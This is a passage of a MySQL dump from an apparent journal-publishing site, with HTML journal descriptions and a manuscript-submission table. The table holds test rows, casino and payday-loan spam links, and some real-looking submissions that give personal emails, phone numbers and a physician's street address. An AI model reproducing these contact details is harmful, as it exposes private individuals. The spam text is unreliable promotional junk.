style=\"font-family:Times New Roman,Times,serif\">Otology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pediatric Otorhinolaryngology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Plastic and Reconstructive Surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Rhinology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sinus Disorders</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Skull Base Surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sleep Apnea disorders</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Speech Therapy</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"color:#009900\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Advances of Otolaryngology and Rhinology Research</strong></span></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Otolaryngology and Rhinology Research<span style=\"color:black\"> is an open access peer review journal which publishes. The main objective of the journal is to set a forum for publication, education, and exchange of opinions globally.</span> all aspects of all aspects of head and neck medicine, as well as related topics.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The journal has a broad coverage of relevant topics in Otorhinolaryngology and various subspecialties such as Otology, Rhinology, Laryngology and Phonosurgery, Neurotology, Head and Neck Surgery etc. Its consists of otolaryngologists, allergists, and plastic surgeons. Published material includes peer-reviewed original research, clinical trials, and review articles.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">All articles published in the journal are subject to a rigorous peer review process. It encourages authors to publish their results in detail to disseminate the updated research findings.</span></p>\r\n','',1,'2018-10-12 13:13:47','2018-10-13 12:51:26',1),(41,20,'1539330535.jpg','Journal of Addiction Research and Drug Abuse','Drug Abuse','Journal of Addiction Research and Drug Abuse','Journal of Addiction-Research-and-Drug Abuse','Journal-of-Addiction-Research-and-Drug-Abuse','Journal-of-Addiction-Research-and-Drug-Abuse','Journal-of-Addiction-Research-and-Drug-Abuse','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong><span style=\"color:#263238\">Coverage Topics</span></strong></span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Addiction Recovery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Alcohol Addiction Treatment</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Alcohol Rehabilitation</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Amphetamine Addiction</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Amphetamine-Related Disorders</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cocaine Addiction</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cocaine-Related Disorders</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Computer Addiction Research</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Drug Addiction Treatment</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Drug Rehabilitation</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Facts About Alcoholism</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Drug Abuse Resistant Education (D.A.R.E)</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Drug Addiction</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Drug Addiction Treatment</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Drug Addiction Recovery</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:20px\"><span style=\"color:#009900\"><strong>Journal of Addiction Research and Drug Abuse</strong></span></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Addiction Research and Drug Abuse <span style=\"color:black\">rapid publication of innovative research covering all aspects of addiction and its related disorders. features original research, systematic reviews and reports on meta-analyses and, with editorial approval, special articles on the assessment and treatment of substance use and addictive disorders, including alcohol, illicit and prescription drugs, and nicotine.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">JARDA that treatment research for individuals with substance use disorders meet the same scientific evaluative standards as treatments for those with any other health-related condition or illness. aims to publish most complete and reliable source of information on the discoveries and current developments in the mode of Research articles, Review articles, Case reports, Short communications, etc. in all areas of the field and making them freely available through online without any restrictions or any other subscriptions to researchers worldwide.</span></p>\r\n','',1,'2018-10-12 13:18:54','2018-10-13 12:47:25',1),(42,20,'1539333202.jpg','Ophthalmology and Eye Research Journal','Ophthalmology','Ophthalmology and Eye Research Journal','Ophthalmology and Eye Research Journal','Ophthalmology-and-Eye-Research-Journal','Ophthalmology and Eye Research Journal','Ophthalmology and Eye Research Journal','<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Coverage Topics</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></span></p>\r\n\r\n<ul style=\"list-style-type:circle\">\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Albanism</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Cataract</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Clinical Ophthalmology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Conjuctivitis</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Cornea and Corneal Diseases</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Experimental Ophthalmology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Eye diseases</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Myopia</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Neuro-Ophthalmology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Occular Migraine</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Ocular Microbiology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Ocular oncology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Ophthalmic imaging</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Ophthalmic Research</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Ophthalmoscopy</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Paediatric ophthalmology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Primary &amp; Secondary Eye care</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Vision Problems</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Vision research</span></span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:20px\"><span style=\"color:#009900\"><strong>Ophthalmology and Eye Research Journal</strong></span></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong><span style=\"color:black\">Journal Outline</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Ophthalmology and Eye Research Journal (OERJ)</strong> <span style=\"color:black\">as an open access, peer-reviewed journal for Ophthalmic Researchers emphasize on the scientific knowledge, innovative methods and discoveries making functional contributions to the diagnosis, treatment and prevention of eye disorders and visual disabilities. The Journal provides a platform to Eye Researchers where peer-evaluated cases give significant data, diagnosing, sorting the issues and challenges on the best approach to give the best eye care solutions.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Scope</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#212529\">This journal accepts articles related to Amblyopia (Lazy Eye), Black Eye, Blepharitis, Cataracts, CMV Retinitis, Colour Blindness, Conjunctivitis (Pink Eye), Cornea Transplant, Corneal Ulcer, Detached Retina, Diabetic Retinopathy, Diplopia (Double Vision), Glaucoma, Hyperopia (Farsightedness), Macular Degeneration (AMD), Macular Dystrophy, Ocular Migraine, Ophthalmology, Ptosis (Drooping Eyelid), Retinitis Pigmentosa, Eye disorder in Pregnancy, Uveitis and many more </span><span style=\"color:black\">as themes for generating a forum at global stage.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journal being an online and free access for its readers tries to provide all its published articles in pdf/html text which are easily downloadable.</span></span></p>\r\n','',1,'2018-10-12 14:03:21','2018-12-21 16:06:27',1),(43,20,'1552237558.jpg','The Gastronomy: Food Processing and Technology','The Gastronomy: Food Processing and Technology','Gastronomy: Food Processing and Technology','The-Gastronomy-Food-Processing-and-Technology','The-Gastronomy-Food-Processing-and-Technology','The-Gastronomy-Food-Processing-and-Technology','The Gastronomy Food Processing and Technology','<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Coverage Topics</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></span></p>\r\n\r\n<ul style=\"list-style-type:circle\">\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gastronomy and food science</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Clinical Nutrition</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Novel ingredients and nutrigenomics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Global tendencies in food</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Market Analysis of Food Testing</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Food allergen/contaminants/pathogens detection</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Food irradiation, genetically modified food, sustainable food production</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Emerging technologies in food processing and preservation</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Evaluation and processing in food science and environmental sciences</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Agriculture and food chemistry</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nanomaterials in food systems</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Applied culinary and food science</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nutrition Therapy</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Eating Disorders and Childhood Obesity</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Food Packaging and Labeling</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dietary intake and Nutritional Status</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Obesity and weight Management </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dietary Surveys and Nutritional Epidemiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Metabolic Syndrome and Malnutrition</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Vitamin &amp; mineral nutrition</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Food Preservation and Quality Control</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Migration/scalping and food safety</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Public Health Nutrition programmes</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nutrigenetics and nutrigenomics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Food Regulatory Affairs</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Consumer Attitudes towards Nutraceuticals</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sport Nutrition and health sciences</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nutrition in developing countries</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nutritional effects of food composition and processing</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Animal and in vitro models with clear relevance for human nutrition</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Bioavailability of nutrients and non nutrients</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mechanisms of action of nutrients/non nutrients in human and establishing safety</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Role of the human microbiota in nutrition</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Foodomics</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Antioxidants and Phytochemicals in Food</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hormonal Regulations</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Food Safety and Hygiene</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Sports Nutrition</span></span></li>\r\n</ul>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong><span style=\"color:black\">Journal Outline</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">The Gastronomy: Food Processing and Technology (GFPT) </span></strong><span style=\"color:black\">is multidisciplinary peer-reviewed open access journal publishing quality articles from the field of food sciences. It is an online journal that publishes novel, original achievements in clinical studies in all areas of gastronomy, including food quality, safety, packaging, preservation, fortification and nutritional values.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Scope</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The Gastronomy: Food Processing and Technology (GFPT)<strong> </strong>aims in publishing original scientific research papers including review articles, short communications, case reports, image articles, brief reports, case presentations etc from the innovations in the field of food processing are vital for agro-processing, transforming the raw materials to the finished products at an increased rate of production, productivity and at a reduced cost of production and to meet the demands as well. Gastronomy deals all aspects of the unit operations involved in processing the raw materials to the finished products, their packaging and safe storage too.</span></span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\"><span style=\"color:black\"><span style=\"font-family:Times New Roman,Times,serif\">The journal being an online and free access for its readers tries to provide all its published articles in pdf/html text w</span>hich are easily downloadable.</span></span></p>\r\n','',1,'2019-03-10 22:34:57','2019-03-11 08:04:01',1);

/*Table structure for table `media_partners` */

DROP TABLE IF EXISTS `media_partners`;

CREATE TABLE `media_partners` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(250) DEFAULT NULL,
  `image` varchar(250) DEFAULT NULL,
  `alt_tags` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `update_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*Data for the table `media_partners` */

/*Table structure for table `menuscript_list` */

DROP TABLE IF EXISTS `menuscript_list`;

CREATE TABLE `menuscript_list` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(250) DEFAULT NULL,
  `firstName` varchar(250) DEFAULT NULL,
  `lastName` varchar(250) DEFAULT NULL,
  `university` varchar(250) DEFAULT NULL,
  `country` varchar(250) DEFAULT NULL,
  `email` varchar(250) DEFAULT NULL,
  `phone` varchar(250) DEFAULT NULL,
  `menuscript_title` varchar(250) DEFAULT NULL,
  `address` varchar(250) DEFAULT NULL,
  `message` varchar(250) DEFAULT NULL,
  `journel` varchar(250) DEFAULT NULL,
  `abstract` varchar(250) DEFAULT NULL,
  `image` varchar(250) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=193 DEFAULT CHARSET=latin1;

/*Data for the table `menuscript_list` */

insert  into `menuscript_list`(`id`,`title`,`firstName`,`lastName`,`university`,`country`,`email`,`phone`,`menuscript_title`,`address`,`message`,`journel`,`abstract`,`image`,`create_at`) values (1,'MR','reddem','vasudevareddy','jntua','Algeria','test@gmail.com','8500050944','cvcv','cvxcvxcvxcv ','cxvzxcvxzcv','Journal of Gastroenterology and Digestive Disorders (JGDD)','test',NULL,'2018-06-14 23:22:23'),(2,'MR','vasudevareddy','htrtytry','University','India','vasu@gmail.com','8500050944','menu ttile','hyd','i like  that','Annals of Medical & Surgical Case Reports(AMSC)','dgfg','','2018-06-16 14:07:09'),(3,'MR','vasudevareddy','htrtytry','University','India','vasu@gmail.com','8500050944','menu ttile','hyd','i like  that','Annals of Medical & Surgical Case Reports(AMSC)','dgfg','','2018-06-16 14:09:21'),(4,'MR','vasudevareddy','htrtytry','University','India','vasu@gmail.com','8500050944','menu ttile','hyd','i like  that','Annals of Medical & Surgical Case Reports(AMSC)','dgfg','','2018-06-16 14:10:41'),(5,'MR','vasudevareddy','htrtytry','University','India','vasu@gmail.com','8500050944','menu ttile','hyd','i like  that','Annals of Medical & Surgical Case Reports(AMSC)','dgfg','','2018-06-16 14:11:24'),(6,'MR','vasudevareddy','htrtytry','University','India','vasu@gmail.com','8500050944','menu ttile','hyd','i like  that','Annals of Medical & Surgical Case Reports(AMSC)','dgfg','','2018-06-16 14:11:49'),(7,'DR','knknkon','pijpjp','iouho','USA','swapnikabhoomi@gmail.com','12548789988','kjwbngf','jjjjjjjjjjjjjjjjjjtjttttttt','gpiuhrkofhaifgpisabfgasuf','Journal of Urology and Renal Problems','kldfmlksdlfjiojjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj','','2018-07-09 20:54:38'),(8,'Mrs','Prudhvi','Raj','KL University','India','prudhvi0417@gmail.com','9951033345','Dental','hyderbad','Hi','Dentistry and Dental Ailments Journal','Dental','','2018-07-09 22:17:12'),(9,'Miss','leela','philip','texas','United Arab Emirates','swapnikabhoomi@gmail.com','12548789988','kjwbngf','uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu','yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy','Journal of Sports Science and Physical Therapy','kldfmlksdlfjiojjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj','','2018-07-09 23:31:27'),(10,'MR','Prudhvi','Raj','KL University','India','prudhvi0417@gmail.com','9951033345','Dental','Hyderbad','Hello world','Dentistry and Dental Ailments Journal','Dental','','2018-07-09 23:50:29'),(11,'MR','Prudhvi','Raj','KL University','India','prudhvi0417@gmail.com','9951033345','Dental','Hyderabad','Dental','Dentistry and Dental Ailments Journal','Dental','','2018-07-10 21:02:07'),(12,'MR','Prudhvi','Raj','KL University','India','prudhvi0417@gmail.com','9951033345','Dental','Hyderabad','Dental','Dentistry and Dental Ailments Journal','Dental','','2018-07-10 22:47:01'),(13,'MR','vasudevareddy','reddem','us university','India','vaasuforu2@gmail.com','8500050944','testing','kadapa','testing  purpose','Dentistry and Dental Ailments Journal','testing  purpose  ........','','2018-07-10 22:58:39'),(14,'MR','vasudevareddy','reddem','us university','India','vaasuforu2@gmail.com','8500050944','testing','kadapa','testing  purpose','Dentistry and Dental Ailments Journal','testing  purpose  ........','','2018-07-10 22:59:16'),(15,'MR','vasudevareddy','reddem','us university','India','vaasuforu2@gmail.com','8500050944','testing','kadapa','testing  purpose','Dentistry and Dental Ailments Journal','testing  purpose  ........','','2018-07-10 22:59:41'),(16,'DR','vasudevareddy','reddem','hgdgh','Albania','vaasuforu2@gmail.com','8500050944','testing','ghgh','bxv  hfhfh','Annals of Pediatrics and Child Care','testing  purpose  ........','','2018-07-10 23:03:32'),(17,'DR','vasudevareddy','fdfds','us university','Afghanistan','vaasuforu2@gmail.com','8500050944','vasu','ghghdfgh ','bhgf','Open Access Journal of Agriculture Research','testing  purpose by vasu','','2018-07-10 23:11:08'),(18,'DR','chinna','reddem','us university','Albania','vaasuforu2@gmail.com','8500050944','testing','dfgh','hfgh','Journal of Obstetrics and Gynecological Problems','testing  purpose by vasu','','2018-07-10 23:15:12'),(19,'DR','chinna','reddem','us university','Albania','vaasuforu2@gmail.com','8500050944','testing','dfgh','hfgh','Journal of Obstetrics and Gynecological Problems','testing  purpose by vasu','','2018-07-10 23:15:35'),(20,'DR','chinna','reddem','us university','Albania','vaasuforu2@gmail.com','8500050944','testing','dfgh','hfgh','Journal of Obstetrics and Gynecological Problems','testing  purpose by vasu','','2018-07-10 23:17:54'),(21,'DR','chinna','reddem','us university','Albania','vaasuforu2@gmail.com','8500050944','testing','dfgh','hfgh','Journal of Obstetrics and Gynecological Problems','testing  purpose by vasu','','2018-07-10 23:18:19'),(22,'DR','vasudevareddy','reddem','hgdgh','Australia','vaasuforu2@gmail.com','1234567896','testing','fgsdfg','sdfg','Annals of Medical & Surgical Case Reports','testing  purpose  ........','1531245017.doc','2018-07-10 23:20:17'),(23,'DR','vasudevareddy','reddem','hgdgh','Australia','vaasuforu2@gmail.com','1234567896','testing','fgsdfg','sdfg','Annals of Medical & Surgical Case Reports','testing  purpose  ........','1531245040.doc','2018-07-10 23:20:40'),(24,'DR','vasudevareddy','reddem','hgdgh','Australia','vaasuforu2@gmail.com','1234567896','testing','fgsdfg','sdfg','Annals of Medical & Surgical Case Reports','testing  purpose  ........','1531245054.doc','2018-07-10 23:20:54'),(25,'DR','sivareddy','k','siva','India','siva@gmail.com','85000050944','testing','kadapa','kadapa','Dentistry and Dental Ailments Journal','testing  purpose by chinna','1531245379.doc','2018-07-10 23:26:18'),(26,'MR','Prudhvi','Raj','KL University','India','prudhvi0417@gmail.com','9951033345','Dental','Hyderabad','Dental','Dentistry and Dental Ailments Journal','Dental','','2018-07-10 23:31:26'),(27,'MR','Prudhviraj','G','KLUniversity','India','prudhvi0417@gmail.com','9951033345','Testing','India','Hi','Annals of Medical & Surgical Case Reports','testing','','2018-09-03 19:00:42'),(28,'MR','Sekhar','Reddy','KLUniversity','India','sekhar.grf@gmail.com','9951033345','Testing','India','Hi','Annals of Medical & Surgical Case Reports','testing','','2018-09-03 19:18:22'),(29,'MR','Inhectintadia','InhectintadiaAT','','USA','wahaoincunktebsist@maldonadomail.men','88554379649','casino real money hwbvf','https://onlinecasinodd.com/','casino game <a href=\"https://onlinecasinodd.com/\">free casino games sun moon</a> casino blackjack <a href=\"https://onlinecasinodd.com/\">casino game</a> | https://onlinecasinodd.com/ - casino online slots https://onlinecasinodd.com/ - las vegas casino','Annals of Pediatrics and Child Care','','','2018-09-11 01:33:57'),(30,'Miss','Inhectintadia','InhectintadiaAT','','USA','ogsrvincunktebsist@maldonadomail.men','83544472999','gsn casino slots objha','https://onlinecasinodd.com/','casino bonus <a href=\"https://onlinecasinodd.com/\">borgata online casino</a> best online casinos <a href=\"https://onlinecasinodd.com/\">free slots casino games</a> | https://onlinecasinodd.com/ - play casino https://onlinecasinodd.com/ - casino online','Clinical Orthopedics Advanced Research Journal','','','2018-09-15 21:36:21'),(31,'MR','Inhectintadia','InhectintadiaAT','','USA','bhxpuincunktebsist@maldonadomail.men','83522548423','free casino games qjaop','https://onlinecasinodd.com/','casino games slots free <a href=\"https://onlinecasinodd.com/\">casino blackjack</a> virgin online casino <a href=\"https://onlinecasinodd.com/\">las vegas casinos</a> | https://onlinecasinodd.com/ - free casino games online https://onlinecasinodd.com/ -','Journal of Sports Science and Physical Therapy','','','2018-09-19 05:34:08'),(32,'','','','','','','','','','','','','','2018-09-19 15:11:50'),(33,'','','','','','','','','','','','','','2018-09-20 15:08:22'),(34,'','','','','','','','','','','','','','2018-09-20 15:15:42'),(35,'','','','','','','','','','','','','','2018-09-24 19:52:27'),(36,'DR','neeraj','nagaich','FORTIS ESCORTS JAIPUR','India','drneerajn@gmail.com','9414600141','Liver diseases in Pregnancy. Experience of  a Tertiary referral centre from India.','A9 shantinagar Near prakash school hatwara road jaipur 302006','Liver diseases in Pregnancy. Experience of  a Tertiary referral centre from India.','Journal of Gastroenterology and Digestive Disorders',' ICP is a relatively common cause of hepatic impairment in pregnancy related liver dysfunctions. AFLP and HELLP syndromes are not uncommon in our patients and is associated with a high maternal mortality and poor perinatal outcome. Early diagnosis an','1537983993.doc','2018-09-26 23:16:33'),(37,'Miss','enrodySoaro','enrodySoaroZG','','USA','eqtitincunktebsist@villarrealmail.men','85457898439','play free vegas casino games kmqyt','https://onlinecasinoplay.us.org/','free casino games slot machines <a href=\"https://onlinecasinoplay.us.org/\">free online casino</a> casino bonus <a href=\" https://onlinecasinoplay.us.org/\">las vegas casinos</a> | https://onlinecasinoplay.us.org/ - vegas world casino games https://onl','International Journal of Education Advancement','','','2018-10-02 05:48:08'),(38,'MR','Loans Online ','Online Payday Loans PC','','Australia','bonairerentals@pochtar.men ','86912435342','wtkqfpkg','https://creditloansguaranteedapproval.com ','loan installment <a href=\"https://creditloansguaranteedapproval.com\">poor credit loans guaranteed approval</a> poor credit loans guaranteed approval <a>credit loans</a> ','Open Access Journal of Endocrinology Disorders','','','2018-10-08 04:10:23'),(39,'','','','','','','','','','','','','','2018-10-09 15:51:22'),(40,'Miss','Personal Loans ','Personal Loans ','','USA','monsbarkman@pochtar.men ','88728574923','phlbfsvn','https://creditloansguaranteedapproval.com ','debt loan <a href=\"https://creditloansguaranteedapproval.com\">free loans</a> bad credit loans guaranteed approval <a>credit loans guaranteed approval</a> ','Journal of Urology and Renal Problems','','','2018-10-09 21:00:56'),(41,'DR','Prudhvi','Raj','University of Minnesota','India','prudhvi0417@gmail.com','9951033345','Thods of Consulting on Studying the Degree of Moisture Supply of Slope Lands for Agricultural Production on Azerbaijan','Kukatpalli,Hyderabad','Test','Open Access Journal of Agriculture Research','hods of Consulting on Studying the Degree of Moisture Supply of Slope Lands for Agricultural Production on Azerbaijan','','2018-10-10 15:14:36'),(42,'','','','','','','','','','','','','','2018-10-10 19:52:08'),(43,'','','','','','','','','','','','','','2018-10-10 19:52:11'),(44,'','','','','','','','','','','','','','2018-10-10 19:52:12'),(45,'MR','Cash Loan ','Loan Cash PC','','Australia','codabella@rainmail.win ','84762289679','xmvcycsu','https://creditloansguaranteedapproval.com ','credit loans guaranteed approval <a href=\"https://creditloansguaranteedapproval.com\">credit loans</a> credit loans guaranteed approval <a>low interest rate personal loans</a> ','Journal of Biomarker Research and Studies','','','2018-10-11 13:26:59'),(46,'Miss','Easy Payday Loan ','Fastest Payday 